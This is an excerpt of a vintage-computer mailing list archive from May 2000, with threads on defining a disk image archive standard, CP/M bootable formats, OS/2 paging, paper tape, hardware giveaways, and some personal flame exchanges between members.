Surfaces (heads) per cylinder ...? -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From richard at idcomm.com Tue May 30 09:56:47 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <001901bfca47$48077400$0400c0a8@EAHOME> I never understood why the double density CP/M diskettes were not bootable, and why "distribution-standard" diskettes had to be bootable. These are two different features, and what's important about the "standard" is not that it's bootable but that it's defined so as to be universally readable. The thing that made 5-1/4" "standard" diskettes unachievable back in the CP/M days was that people couldn't let go of the notion that every diskette had to be bootable. Frankly, I got fine mileage out of diskettes which couldn't be booted, yet I never had a problem booting up. It's silly to mix these two desirables. They're not bound together. Let's not require something that's counterproductive as this is. If you make a distribution standard for media, then use it for distribution. Let the OS determine what's suitable for booting. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 12:50 AM Subject: Re: Defining Disk Image Dump Standard > > Let's start sort of from scratch here. > > So far we have the following (high level) criterion for a disk archive > standard: > > 1. Host computer type (2 bytes allowing up to 65536 models to be > specified) > 2. Track format (host computer specific) > 3. Sector format (single-density, double-density, etc) > 4. Sector data format - this will specify what format the archived sector > is in (raw data? logical bytes?) > 5. Bytes per sector > 6. Bits per byte > > What else? > > I will be the first to say that this is may not be very logically > structured. What I am attempting to do is give a suggestion for a high > level header that identifies what each chunk of data in the archive can > represent. In this way, disks that are formatted with several different > formats can be described. > > I think what this may evolve into is a Data Definition Language. The DDL > will be encoded along with the disk data and will describe the format of > the data on the disk as it is being read. > > This comes back to the fact that utilities will have to be written for > each computer we decide to support (I assume it will be all of them) to > both read and write native diskettes. I also assume the data will be > passed between the archive host and the target machine via serial link? > > In case my mostly random thoughts above don't make sense, here is what I > would have in mind for the Apple ][: > > The disk can be read in either standard, logical format (13 or 16 sectors > per track, 256 bytes per sector) or "raw" format (raw disk bytes are read > from the track). There would also have to be format descriptions for > specially formatted tracks such as the 18-sector type I mentioned. > > As for reading the raw bytes, the Apple ][ had what were called > "synchronization" bytes, which were 10 bits long, the two extra bits being > used to synchronize the head with the start of the track. I could go into > a technical discussion of this but would have to pull out some reference > material to refresh my memory of how it all worked. Anyway, these bytes > would have to be specially encoded in the archive. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 09:59:35 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:07 2005 Subject: Sellam Explodes References: <39336D02.22140.389CC2C@localhost> Message-ID: <002301bfca47$abb02600$0400c0a8@EAHOME> I wouldn't let that upset me, Bruce. He's seldom got much of use to offer. For him, this forum is just a billboard. He wants to transmit, but it doesn't matter to him that he doesn't receive. He doesn't read the stuff that's written anyway unless he wrote it himself. Dick ----- Original Message ----- From: Bruce Lane To: Sent: Tuesday, May 30, 2000 8:25 AM Subject: Sellam Explodes > Criminys... ask a guy to just let the subject drop, and this is > what happens. > > I've blocked any further E-mail from Sellam at this end. It's > obvious that I can't even disagree with him now without ticking him > off. I'm posting his final message as something of a warning to > others who think he can handle things like this in a mature way. > > -=-=- -=-=- > > Date sent: Mon, 29 May 2000 19:48:02 -0700 (PDT) > From: "Vintage Computer GAWD!" > > To: "Bruce Lane" > Subject: Re: Please let it DROP! > > On Sat, 27 May 2000, Bruce Lane wrote: > > > If you value, as I do, the fact that we got along pretty well > > during our few past meetings, please let the subject drop. Here > and > > now. > > > > It is obvious that we agree to disagree, and I would prefer to > > leave it at that point than start a flame-war that's going to leave > us > > both too pissed off to see straight. > > Bruce, I value our "friendship" as much as you do, which is to say > not > enough for you to avoid constantly insulting me like you have the > monopoly > on valid opinions and to act in a uncivil manner. > > Basically, take your apoplectic rantings and stick them up your > ass. I > tried to be patient and not get angry from your last message, but > I've > never been one to accept a continued stream of abuse, especially > from a > dweeb like yourself. > > I don't want, nor do I need, a reply from you. Any more messages I > receive from you on this matter I will consider to be SPAM and, > since you > live in a state which has laws against that sort of thing, I will not > hesitate to file a complaint against you. > > Best regards, > > Sellam > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Bruce Lane, Owner/Head Honcho, > Blue Feather Technologies (www.bluefeathertech.com) > kyrrin@bluefeathertech.com > "SCSI Users, Unite! Beware the IDEs of March!" > From rdd at smart.net Tue May 30 10:01:54 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Noteson repa... In-Reply-To: <007401bfc9f7$6e0cc920$0d9bb2d1@Smith.earthlink.net> Message-ID: On Mon, 29 May 2000, Wayne M. Smith wrote: [> Sellem (sp?) wrote:] > > On Sat, 27 May 2000, Marvin wrote: > > > What makes you think a flame war is an effective > way to learn? A game > > > perhaps, but learning??? Have you never heard of learning from games? :-) I learned a lot about DCL by writing a game of adventure in it that doubled as a command line interpreter, and didn't a certain classic book on UNIX mention the importance of learning by playing? Of course, in today's world where children are supposed to be overstressed little adults and not play, which now includes not doing things like climbing trees or riding in the back of a station wagon with their feet stuck out the back window because they might get hurt (can't have the kiddies riding in cars without being tied to the seats with "safety" belts, can we? May as well get them used to a lack of freedom at a young age so they hopefully won't resist fascist politicians who want to totally control their lives when they get older, right?), it's difficult to expect some to understand this concept. > > I suppose it's one way of trying to justify a personality flaw? > > I would have said "manifest" a personality flaw. Kindly spare us the results of your misfiring neurons, and, have a nice day! -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From marvin at rain.org Tue May 30 10:10:23 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:07 2005 Subject: Prime Computer Available References: Message-ID: <3933D9DF.3D6EB2F2@rain.org> I was talking to someone at TRW and they indicated they have a Prime Computer System, currently in service, that will be available for the taking in a month or so. Anyone interested? I forgot to get his email address so I won't be back in contact with him until the next TRW. From richard at idcomm.com Tue May 30 10:17:33 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <000901bfca4a$2eb27060$0400c0a8@EAHOME> WARNING: There's evidence of "creeping featurism" here. That's what kills most standards, or at least manages to make them useless. Example: if your goal is to make the medium universally readable, why bother to put a source identifier into it? Who cares what system wrote it, so long as it can be read by any machine capable of dealing with the physical medium. It seems MUCH more important to choose a medium that's universally available and useable by a large number of systems. This would rule out such things as tape, whether paper or mylar/magnetic, diskettes, and most other magnetic media. The most important feature is ready availablility, right? If you can't go down to the 7-11 and buy it, it's not readily available, now, is it:? If you're defining an exchange medium, it doesn't matter whether your 1970's computer had that medium back when it was a pup. It doesn't matter that they used the little dectapes then if you can't go to CompUSA and buy them now and in the future. If you consider genuine requirements, you'll probably not end up with magnetic media, though portable hard disk might be worthy of consideration. You'll probably end up with something that requires nearly everyone to build an interface of some sort just to be able to use it. That's the problem you're trying to solve, doncha know ... If the guys who designed the systems had provided for this sort of interchange, you'd not have to solve the problem now. Dick. ----- Original Message ----- From: James Willing To: Sent: Tuesday, May 30, 2000 8:54 AM Subject: Re: Defining Disk Image Dump Standard > On Mon, 29 May 2000, Sellam Ismail wrote: > > > Let's start sort of from scratch here. > > > > So far we have the following (high level) criterion for a disk archive > > standard: > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > specified) > > 2. Track format (host computer specific) > > 3. Sector format (single-density, double-density, etc) > > 4. Sector data format - this will specify what format the archived sector > > is in (raw data? logical bytes?) > > 5. Bytes per sector > > 6. Bits per byte > > > > What else? > > > Hmmm... > > Hard sector vs. SOft sector (for ctrlr emulations) > Interleaving - yes/no/offset value > Sectors per track > # of Tracks > Surfaces (heads) per cylinder > ...? > > -jim > --- > jimw@computergarage.org || jimw@agora.rdrop.com > The Computer Garage - http://www.computergarage.org > Computer Garage Fax - (503) 646-0174 > From marvin at rain.org Tue May 30 10:21:10 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:07 2005 Subject: Games: was Re: Get up on the wrong side of the bed ... References: Message-ID: <3933DC66.8AA07D2F@rain.org> "R. D. Davis" wrote: > > On Mon, 29 May 2000, Wayne M. Smith wrote: > [> Sellem (sp?) wrote:] > > > On Sat, 27 May 2000, Marvin wrote: > > > > > What makes you think a flame war is an effective > > way to learn? A game > > > > perhaps, but learning??? > > Have you never heard of learning from games? :-) I learned a lot about > DCL by writing a game of adventure in it that doubled as a command > line interpreter, and didn't a certain classic book on UNIX mention > the importance of learning by playing? Different strokes for different folks; what do we learn with a flame war? The games I am talking about are better described in "Games People Play", don't remember the author. It would be interesting though to see if there is any correlation between competitiveness and computer technical people (programmers, hardware, etc.) Of course, in today's world > where children are supposed to be overstressed little adults and not While that is off topic, I couldn't agree more with your sentiments! From pechter at pechter.dyndns.org Tue May 30 10:39:17 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> from Douglas Quebbeman at "May 30, 2000 09:33:00 am" Message-ID: <200005301539.LAA07607@bg-tc-ppp912.monmouth.com> > > In article > > , > > R. D. Davis writes > > >Is there any way you can retrieve it from the skip if it ends > > >up in there? > > > > Once it is in the skip, anyone taking it away, other than the waste > > disposal people, is stealing it. This has already been made clear to > > me. > > Not sure what country you live in, but if you're in the US, then > regardless of whatever munincipal laws have been enacted, the U.S. > Supreme Court has ruled (on multiple occaisions) that refuse is > exactly that- stuff that people no longer want. > Well, the rule depends. If it's a commercial dumpster on private property you're tresspassing and stealing if it's in the dumpster. At the curb it's on public property and avaiable. > > respectfully submitted, > -doug q > > Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Tue May 30 10:41:59 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:07 2005 Subject: OS/2 In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD5F@TEGNTSERVER> from Douglas Quebbeman at "May 30, 2000 08:54:34 am" Message-ID: <200005301541.LAA07633@bg-tc-ppp912.monmouth.com> > > Close, but not quite correct. > > > > GPF is a general protection fault, the most common problem is > > a bad or uninitialized pointer. > > > > What makes a DLL get loaded, or paged in, is a page fault. > > Its the same mechanism that causes a swapped out page to be swapped back > > in on a 4K boundary. > > What I'm saying is that the way is *should* work is: > > pointer fault on attempt to execute faulted pointer to DLL routine > segment fault on attempt to execute code in unmapped DLL routine's > segment > page fault on attempt to execute code in unmapped DLL routine's page > > And in a really proper OS you'd also get a page fault if the page map > containing the PageMapTableEntries weren't currently mapped in (and > yes you can page out page maps). > > And before you point out that segments went away from Win32 let > me say that too is another fatal flaw with the Windows family of > OS's. > > -dq Is it just me -- or does this sound like Multics segments? Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From steverob at hotoffice.com Tue May 30 10:56:58 2000 From: steverob at hotoffice.com (Steve Robertson) Date: Sun Feb 27 18:52:07 2005 Subject: Unusual weekend find Message-ID: <2921A6D846E9D31182490050040DC0D6682DCA@hoexc101.hotoffice.com> Picked up an unusual system this weekend and was wondering if anyone could provide some pointers. The system is a "Lasor Computer" (note the spelling) is housed in a desk-sized cabinent and weighs about 300 LBS. I don't know if it's true but, according to the previous owner, whom purchased it new around 1982, there were only about 300 of these systems ever built. This one is serial number 140, has been in storage since 1985, and is in outstanding condition. It not even dusty inside! It has two 8" floppies, 2 10-MB hard drives, and 16 serial ports. All the major components are mounted in 19" trays so, supposedly everything could go in to a standard rack. When I first saw it, I thought it could be a S-100 system because of the card cage, and power supply configuration. (my mouth was really watering) :-) After removing the cards, it's obviously not S-100 but, looks very similar. The cards look to be the same width as S-100 but they are about 3" deeper and there are no regulators on the cards. The CPU for this thing is an Intel 8086 and all the cards are marked "LASOR SYSTEMS". Anyone know what kinda bus this is? According to the DOCs, the system runs "MLX" which stands for "Multiuser Executive". supposedly, it can read CPM formatted disks. I'm not sure if it will boot CPM or execute CPM apps though. When I tried to boot the system, it got a failure on the boot drive so, I had to do some microsurgery. Seems the heads had stuck to the platters and it took a little coaxing to get the platters spinning again. Hopefully, I didn't hurt the platters too much. I finally did get the system to boot OK but, now I'm getting a "Password" prompt. DOH!!! I have contacted the original user and maybe he'll be able to help me out. I'll keep my fingers crossed. If not, I'll see if I can get it too boot with a CPM disk and hack my way past the password prompt. Also in the deal I got 6 - Televideo 950 terminals, and 4 large printers, and about a mile of wiring. All of the printers are in excellent condition with the exception of the chain printer (Teletype model 40). When I plugged that one in, the letters went flying everywhere. Seems the letters are mounted on a large rubber band that had decomposed sling-shotting pieces everywhere ;-) Oh yeah... I spent $50 bucks for the whole truckload. Steve Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/2bb0cd57/attachment.html From foo at siconic.com Tue May 30 09:51:58 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > It's silly to mix these two desirables. They're not bound together. Let's > not require something that's counterproductive as this is. If you make a > distribution standard for media, then use it for distribution. Let the OS > determine what's suitable for booting. Dick, once again with raging gradeur you have brought forth an entirely non-sequitur point of issue to the discussion at hand. Assuming you did understand what this thread is about, how does one separate the operating system from the programs and data on the disk (across disparate platforms) to be able to make a determination as to what becomes part of the archive? No, I really don't want to hear your reply, but something tells me you have nothing better to do anyway. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From Hans.Franke at mch20.sbs.de Tue May 30 11:01:46 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:07 2005 Subject: A moment of silence... In-Reply-To: References: <3932DEA9.8720.146821E@localhost> Message-ID: <3934020A.10324.1D8B212@localhost> > > I still don't get the idea - Silicon Valley (Contra Coast, Alameda and > > Santa Clara), an area 4 times larger than Munich (City of Munich and > > Munich county) and just roughly the same population, and you're talking > > about skyrocketing prices ? maybe they should start to build something > > (preferable something other than highways). > It would appear as if more people want to live in Silicon Valley than Munich. Known here as well - I whish we could build City gates and charge a commuter Tax (Lets say USD 10 per car) _and_ install some immigration law to regulate the number of new citicens per year somewhere near Zero - I wouldn't mind Americanos or even French, as long as we get less immigrants from other Parts of Germany (read Prussians :). > The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, > 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or > 622.134,66 Euros. ) House prices in Munich _start_ somewhere at ~1.2m DM (~600 kUSD) for connected houses, while single houses _start_ at about 1.7m DM (~800 kUSD) so there's still room :) > Commercial real estate has undergone similar escalation, with landlords now > commonly asking for substantial percentages of stock in pre-IPO companies > in addition to high rents. I know personally of a deal that fell through > because the company that lost was unwilling to give approximately 1% of the > outstanding stock to the landlord (in addition to the high rent); the > "winning" company gave more stock+cash. That's the new thing - I don't know about any similar stuff in Muncih. > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > sense... But... Now we're back on topic - is it still a paradise if surplus dealers and other sources of fun gear are closing down ? Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From foo at siconic.com Tue May 30 10:08:07 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:07 2005 Subject: Typical Spaz Behavior (was Re: Sellam Explodes) In-Reply-To: <39336D02.22140.389CC2C@localhost> Message-ID: On Tue, 30 May 2000, Bruce Lane wrote: > Criminys... ask a guy to just let the subject drop, and this is > what happens. > > I've blocked any further E-mail from Sellam at this end. It's > obvious that I can't even disagree with him now without ticking him > off. I'm posting his final message as something of a warning to > others who think he can handle things like this in a mature way. Don't you mean you're posting my message publicly to the list because: a) you have no qualms about bringing a discussion that was purposely taken off of a public forum in order to avoid sucking up bandwidth back into that public forum without regards to fellow listmembers and thereby demonstrating a fundamental lack of courtesy b) you secretly DO approve of SPAM that in the past you have so vehemently expressed your opposition to, as this is a classic example of SPAM if I ever saw one c) you're afraid of directly confronting me on the issue because you are socially retarded Pick one or all of the above. Please, send all flames directly to foo@siconic.com. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 10:31:50 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: Adding Jim Willing's input to the fray: 1. Host computer type (2 bytes allowing up to 65536 models to be specified) 2. Hard/soft sector flag 3. Number of tracks 4. Track format (host computer specific) 5. Sector format (single-density, double-density, etc) 5. Sector data format - this will specify what format the archived sector is in (raw data? logical bytes?) 6. Sectors per track 7. Bytes per sector 8. Bits per byte I think the measure of usefulness of this standard will be if it can easily define the format of a standard disk from most any platform as well as being able to handle different exceptions. What I mean is, can one take a regularly formatted diskette from any computer that has T number of tracks and S number of sectors per track and B number of bytes per sector and describe it with the same header as a disk with some totally hardware specific formatting? The Archive Description Header should be able to easily describe standard disk formats so as to be easily implementable across multiple platforms, while also being powerful enough to describe exotic platform specific formats that would allow reconstruction of an original disk back to the original platform. The reading and writing of the disks will obviously have to be done with applications running on the actual hardware, that will be able to analyze the format of the disk and pass information about any special formatting to the machine where the archive is to be processed and stored. We are NOT creating a description for hardware that can read any disk format ever put out. That is wholly unfeasible. We are creating a software standard that will allow the contents of a diskette to be universally defined in a manner that allows complete reconstruction of a diskette on the original platform. So for disks that cannot be read by PC hardware (which is what I currently consider to be "universal") utilities will have to be created on the original platform to both read and write the diskette. The best example would be the Apple ][. A utility will have to be written for the Apple ][ that can read the raw disk data, analyze the contents, and return the sector (or track) data back to the "universal" host over a serial port along with a description of how that data was formatted on the disk. That description will then get encoded into the Archive Description Header. Which leads me to this thought: is preserving the actual format of the disk even necessary for posterity? Is the goal here to be able to make exact copies of the disk to be able to run on the hardware well into the future? Or is the actual data itself more important? This is getting too complicated, but what I mean is, instead of trying to archive an oddball format from, say, the Apple ][ that was designed to thwart copying of the disk and making archiving it a challenge, would it be better to just take the software contained on that disk and convert it to a standard format that can be more easily archived? Is there historical value to preserving the original format? I think so. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Tue May 30 11:33:27 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:07 2005 Subject: A moment of silence... References: <3932DEA9.8720.146821E@localhost> <3934020A.10324.1D8B212@localhost> Message-ID: <002001bfca54$c90d0300$0400c0a8@EAHOME> HEY! . . . Smile when you say that, pardnuh! ... My father came from Munich, but my mother was born in Berlin. Aside from my half-year stay in Munich in '47, I lived outside Munich (Groebenzell) for most of my first few years, Though I was born outside Berlin, since that's where the Reich had stationed my father's unit (Regiment Gross-Deutschland), which was a small "regiment" most of which was on the eastern front while one battalion was in Berlin serving at the pleasure of the leadership. Your lamentations are sounding more and more like my Papa all the time. He frequently began with "It should be illegal to do this . . ." and the like.) In California, too, they have all-too-often tried to legislate good sense, though they haven't managed it yet. Often it is too easy to start with "there ought to be a law ..." but all that does is make work for the lawyers. Unfortunately, you can't have it both ways. Here, in the "land of opportunity" the opportunity can be viewed as an opportunity to get screwed. It's all in how you look at things. now . . . about those 'Sau-Preussen' you were referring to . . . Dick ----- Original Message ----- From: Hans Franke To: Sent: Tuesday, May 30, 2000 10:01 AM Subject: Re: A moment of silence... > Zero - I wouldn't mind Americanos or even French, as long as we get > less immigrants from other Parts of Germany (read Prussians :). > > > The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, > > 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or > > 622.134,66 Euros. ) > > House prices in Munich _start_ somewhere at ~1.2m DM (~600 kUSD) for > connected houses, while single houses _start_ at about 1.7m DM (~800 kUSD) > so there's still room :) > > > Commercial real estate has undergone similar escalation, with landlords now > > commonly asking for substantial percentages of stock in pre-IPO companies > > in addition to high rents. I know personally of a deal that fell through > > because the company that lost was unwilling to give approximately 1% of the > > outstanding stock to the landlord (in addition to the high rent); the > > "winning" company gave more stock+cash. > > That's the new thing - I don't know about any similar stuff in Muncih. > > > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > > sense... But... > > Now we're back on topic - is it still a paradise if surplus dealers and > other sources of fun gear are closing down ? > > Gruss > H. > > -- > VCF Europa 2.0 am 28./29. April 2001 in Muenchen > http://www.vintage.org/vcfe > http://www.homecomputer.de/vcfe > From dhquebbeman at theestopinalgroup.com Tue May 30 12:01:01 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD65@TEGNTSERVER> > > Not sure what country you live in, but if you're in the US, then > > regardless of whatever munincipal laws have been enacted, the U.S. > > Supreme Court has ruled (on multiple occaisions) that refuse is > > exactly that- stuff that people no longer want. > > > Well, the rule depends. If it's a commercial dumpster on > private property you're tresspassing and stealing if it's in > the dumpster. At the curb it's on public property and avaiable. Granted... tresspassing is tresspassing. -dq From dhquebbeman at theestopinalgroup.com Tue May 30 12:01:52 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:07 2005 Subject: OS/2 Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD66@TEGNTSERVER> > > What I'm saying is that the way is *should* work is: > > > > pointer fault on attempt to execute faulted pointer to > DLL routine > > segment fault on attempt to execute code in unmapped > DLL routine's > > segment > > page fault on attempt to execute code in unmapped DLL > routine's page > > > > And in a really proper OS you'd also get a page fault if > the page map > > containing the PageMapTableEntries weren't currently mapped in (and > > yes you can page out page maps). > > > > And before you point out that segments went away from Win32 let > > me say that too is another fatal flaw with the Windows family of > > OS's. > > Is it just me -- or does this sound like Multics segments? Dang- busted again. :-) -doug q From hofmanwb at worldonline.nl Tue May 30 19:07:20 2000 From: hofmanwb at worldonline.nl (W.B.(Wim) Hofman) Date: Sun Feb 27 18:52:07 2005 Subject: Sharp MZ80FB Message-ID: <20000530171305.C311736B96@rhea.worldonline.nl> Anyone interested in a Sharp MZ80FB dual floppy drive located in Arnhem Holland? Wim From mmcfadden at cmh.edu Tue May 30 09:07:13 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:07 2005 Subject: Somebody wanted TI S1500 Message-ID: I can't find my link to whoever wanted a TI s1500. I think is was a museum. Please respond to mmcfadden@cmh.edu. I was diving through my local computer surplus exchange and came across the following. I had to stand on top of a fork-truck and look into a big box to examine all of these. There's goodies in those dusty boxes. TI S1500, also external expansion chassis wd900 Doesn't look like my TI explorer. TI Business Pro TI 990 with 9-track cipher tape equivalent all in 5 foot rack Tektronix 4052 I'm keeping the Tek 4052 but I want to have the surplus exchange transfer the TI S1500 to the museum. I'm taking pictures before I transfer any of these. Mike mmcfadden@cmh.edu From mmcfadden at cmh.edu Tue May 30 08:44:26 2000 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 18:52:07 2005 Subject: Papertape and Mylar variant Message-ID: I seem to remember that back in the good old days (BITGOD) the cruise missile programmers at McDonnell Douglas were required to punch a Mylar version of a paper tape that was the guidance load for each missile and then it was stored in a vault. I guess that you could decode the holes in the tape to "prove" that the guidance load was correct. Somewhere I have a tape fragment, not from a missile but from some game code. I think this tape was not fan folded but rolled for storage. Mike From ss at allegro.com Tue May 30 13:06:39 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:07 2005 Subject: free: misc cards for HP 9000 / HP 3000 & other Message-ID: <3933A0BF.22269.1EA91F6B@localhost> Hi, I have the following cards and MUX panels available for free (for non-ebay use, and you pay shipping): HP 3000/9x5 / HP 9000/8x5 boards: 6 port MUX & cable: board 27140-81001?, cable 28659-63002 (I have two of the above boards/cables) (note: they might possibly work in a 9x7 / 8x7) MUX Panels: 40290-60003: RS 232C Panel 25 Pin (8-port) 40299-60002: RS 232C Full Modem (8-port) Note: neither of the above panels work with either of the above boards/cables. (I.e., the cable/plug aren't even the same size.) Nor do I have cables for these panels. HP 30000/37 ("Mighty Mouse") boards: 3000/37 MUX (no cable or panel) 3000/37 1/2 MB memory Misc: SDI PCA DTC Card: 02345-60021 (No, I don't know what it is, either!) AFAIK, all cards were in working order when pulled from equipment. They're at our office in Cupertino, CA. Those that aren't spoken for will probably be offered on eBay in a week or so, but I wanted ClassicCmp readers to get first chance. thanks, Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From dhquebbeman at theestopinalgroup.com Tue May 30 13:17:08 2000 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 18:52:07 2005 Subject: Papertape and Mylar variant Message-ID: <8763AE987517D2118C0500A0C9AB234C2BAD6A@TEGNTSERVER> > Somewhere I have a tape fragment, not from a missile but from some game code. > I think this tape was not fan folded but rolled for storage. Right-o... teletypes with the reader/punch used rolls of paper tape. I have a copy of DEC Monopoly on papertape that I punched myself, as well as a copy of Intel's INTERP-80 (8080a simulator) and a Star Trek game called BIGMES (from an HP 2000). At IU, we had a CDC6600 with an online highspeed punch, and I have a couple of tapes I punched on that, as well as what was left on the roll. I'm not sure if the fanfold method came about for ease of mailing or not; eventually, there were readers available that had "bins" instead of reels, and you could load either fanfold or roll tape in the bins. -doug q From donm at cts.com Tue May 30 14:01:30 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > I never understood why the double density CP/M diskettes were not bootable, > and why "distribution-standard" diskettes had to be bootable. These are two > different features, and what's important about the "standard" is not that > it's bootable but that it's defined so as to be universally readable. But that is/was not always true! There were a number of 8" CP/M systems that used bootable DD formats, and most all 5.25" CP/M systems were in a bootable DSDD format. 8" SSDD: Altos Avtek Heurikon MLZ-90 Ithaca Intersystems Octagon 8/16 Ohio Scientific Turbo Tektronix 8 Vista A-800 8" DSDD: Heath Magnolia Heurikon MLZ-90 Ithaca Intersystems MDS-80 Prolog APL-2 System Group 2800 W.J. Engineering In the 5.25" bunch, the two obvious ones that immediately come to mind as using the SD boot track are Osborne and Xerox. - don > The thing that made 5-1/4" "standard" diskettes unachievable back in the > CP/M days was that people couldn't let go of the notion that every diskette > had to be bootable. Frankly, I got fine mileage out of diskettes which > couldn't be booted, yet I never had a problem booting up. > > It's silly to mix these two desirables. They're not bound together. Let's > not require something that's counterproductive as this is. If you make a > distribution standard for media, then use it for distribution. Let the OS > determine what's suitable for booting. > > Dick > > ----- Original Message ----- > From: Sellam Ismail > To: > Sent: Tuesday, May 30, 2000 12:50 AM > Subject: Re: Defining Disk Image Dump Standard > > > > > > Let's start sort of from scratch here. > > > > So far we have the following (high level) criterion for a disk archive > > standard: > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > specified) > > 2. Track format (host computer specific) > > 3. Sector format (single-density, double-density, etc) > > 4. Sector data format - this will specify what format the archived sector > > is in (raw data? logical bytes?) > > 5. Bytes per sector > > 6. Bits per byte > > > > What else? > > > > I will be the first to say that this is may not be very logically > > structured. What I am attempting to do is give a suggestion for a high > > level header that identifies what each chunk of data in the archive can > > represent. In this way, disks that are formatted with several different > > formats can be described. > > > > I think what this may evolve into is a Data Definition Language. The DDL > > will be encoded along with the disk data and will describe the format of > > the data on the disk as it is being read. > > > > This comes back to the fact that utilities will have to be written for > > each computer we decide to support (I assume it will be all of them) to > > both read and write native diskettes. I also assume the data will be > > passed between the archive host and the target machine via serial link? > > > > In case my mostly random thoughts above don't make sense, here is what I > > would have in mind for the Apple ][: > > > > The disk can be read in either standard, logical format (13 or 16 sectors > > per track, 256 bytes per sector) or "raw" format (raw disk bytes are read > > from the track). There would also have to be format descriptions for > > specially formatted tracks such as the 18-sector type I mentioned. > > > > As for reading the raw bytes, the Apple ][ had what were called > > "synchronization" bytes, which were 10 bits long, the two extra bits being > > used to synchronize the head with the start of the track. I could go into > > a technical discussion of this but would have to pull out some reference > > material to refresh my memory of how it all worked. Anyway, these bytes > > would have to be specially encoded in the archive. > > > > Sellam International Man of Intrigue and > Danger > > -------------------------------------------------------------------------- > ----- > > Looking for a six in a pile of nines... > > > > Coming soon: VCF 4.0! > > VCF East: Planning in Progress > > See http://www.vintage.org for details! > > > > > > From wilson at dbit.dbit.com Tue May 30 14:20:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: ; from donm@cts.com on Tue, May 30, 2000 at 12:01:30PM -0700 References: <001901bfca47$48077400$0400c0a8@EAHOME> Message-ID: <20000530152033.A17084@dbit.dbit.com> On Tue, May 30, 2000 at 12:01:30PM -0700, Don Maslin wrote: >But that is/was not always true! There were a number of 8" CP/M systems >that used bootable DD formats, and most all 5.25" CP/M systems were in a >bootable DSDD format. I 